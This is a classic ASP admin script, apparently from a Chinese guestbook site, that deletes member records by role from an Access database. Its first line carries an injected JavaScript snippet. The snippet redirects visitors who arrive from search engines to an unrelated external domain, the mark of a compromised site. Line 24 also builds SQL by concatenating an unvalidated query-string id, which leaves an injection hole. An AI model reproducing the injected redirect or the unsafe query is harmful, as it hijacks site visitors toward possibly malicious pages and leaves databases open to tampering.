d:\wwwroot\wuchunhua\liuyan\delete.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
002: <%
003:    '检查用户是否登陆，是否是管理员
004:    If Session("IsPassed") <> TRUE OR Session("IsAdmin") <> TRUE Then
005:       Response.Redirect "login.asp?ErrMsg=请先登陆"
006:       Response.End
007:    End If
008:   
009:    '获取欲删除的用户ID
010:    Dim ID
011:    ID = Request.QueryString("id")
012:     
013:    '打开数据库连接
014:    Dim objConn, strSQL, objRS
015:   
016:    '初始化数据库连接
017:    DB="./Board/database/BOARD.mdb"
018:    Set objConn = Server.CreateObject("ADODB.Connection")                          
019:    objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(DB)
020:    '打开数据库连接
021:    objConn.Open
022:   
023:      '根据用户ID检索数据库
024:    strSQL = "Select * From MEMBER Where ID=" & ID
025:      Set objRS = Server.CreateObject("ADODB.Recordset")
026:      objRS.Open strSQL, objConn, 1, 3, 1
027:   
028:    '检验用户权限，超级管理员可以删除除自身之外的所有会员
029:    If Session("Class") = "1" Then
030:       If objRS.Fields("CLASS") <> "1" Then
031:          objRS.Delete
032:       End If
033:    Else
034:    '一般管理员只能删除普通会员
035:    If Session("Class") = "2" Then
036:       If objRS.Fields("CLASS") <> "1" AND objRS.Fields("CLASS") <> "2" Then
037:          objRS.Delete
038:       End If
039:    End If
040:    End If
041:         
042:    '关闭数据集和数据库连接
043:    objRS.Close        
044:     Set objRS = Nothing
045:     objConn.Close        
046:     Set objConn = Nothing
047:   
048:    '转向系统管理主界面
049:    Response.Redirect "admin.asp"
050:    Response.End
051: %>
052:
053:

---